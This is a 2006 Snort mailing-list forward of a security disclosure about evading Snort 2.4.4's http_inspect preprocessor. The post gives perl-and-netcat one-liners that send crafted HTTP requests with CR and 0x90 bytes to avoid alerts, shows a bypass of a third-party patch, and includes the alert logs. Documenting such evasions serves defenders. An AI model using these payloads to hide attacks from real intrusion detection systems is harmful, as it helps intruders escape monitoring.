[Snort-users] FW: [Dailydave] New Snort Bypass - Patch - Bypass of Patch

Paul Melson pmelson at ...11827...
Fri Jun 2 11:03:11 EDT 2006

FYI in case you didn't catch this on the other lists it was posted to.


-----Original Message-----
From: Sigint Consulting [mailto:info at ...13840...] 
Sent: Friday, June 02, 2006 1:27 AM
To: dailydave at ...13841...
Cc: bugtraq at ...35...
Subject: [Dailydave] New Snort Bypass - Patch - Bypass of Patch

There was a Snort evasion bug posted on BugTraq today

This attack will not show up in alert file at all perl -e 'print "GET
\x90\x90\x0d http/1.0\r\n\r\n"'|nc 80

Notice the \x0d CR character (\r) above.

The following will show up in alert as 'BARE BYTE UNICODE ENCODING'
perl -e 'print "GET \x90\x90 http/1.0\r\n\r\n"'|nc 80 Notice no
\x0d CR character above.

We have confirmed it on a Debian box, Snort 2.4.4 Build 28. I have applied
the Demarc patch found here

There patch appears to work at first glance generating this error in

[**] [119:2:1] (http_inspect) DOUBLE DECODING ATTACK [**]
06/03-15:19:04.185301 -> TCP TTL:64 TOS:0x0
ID:13064 IpLen:20 DgmLen:72 DF
***AP*** Seq: 0x306F2919  Ack: 0x40DA48CC  Win: 0x5B4  TcpLen: 32 TCP
Options (3) => NOP NOP TS: 21436964 36363323

However we can once again bypass this by including our CR character before
our string like so:

perl -e 'print "GET \x0d/index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 80

No alert is generated from the string above.

If we change the above to not include the \x0d CR character snort with the
demarc patch will generate an error:

perl -e 'print "GET /index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 80

[**] [119:4:1] (http_inspect) BARE BYTE UNICODE ENCODING [**]
06/03-15:21:50.872878 -> TCP TTL:64 TOS:0x0
ID:33947 IpLen:20 DgmLen:80 DF
***AP*** Seq: 0x3A1121F3  Ack: 0x4ADDCB4A  Win: 0x5B4  TcpLen: 32 TCP
Options (3) => NOP NOP TS: 21603698 36530036


We are not sure how much this may buy an attacker as the CR character may
mess up any requests to the webserver, further research is needed on this.
As the Demarc advisory states there may be more impacts to this bug that
will come out in time. Kudos to Demarc for finding this bug.

info at ...13840...

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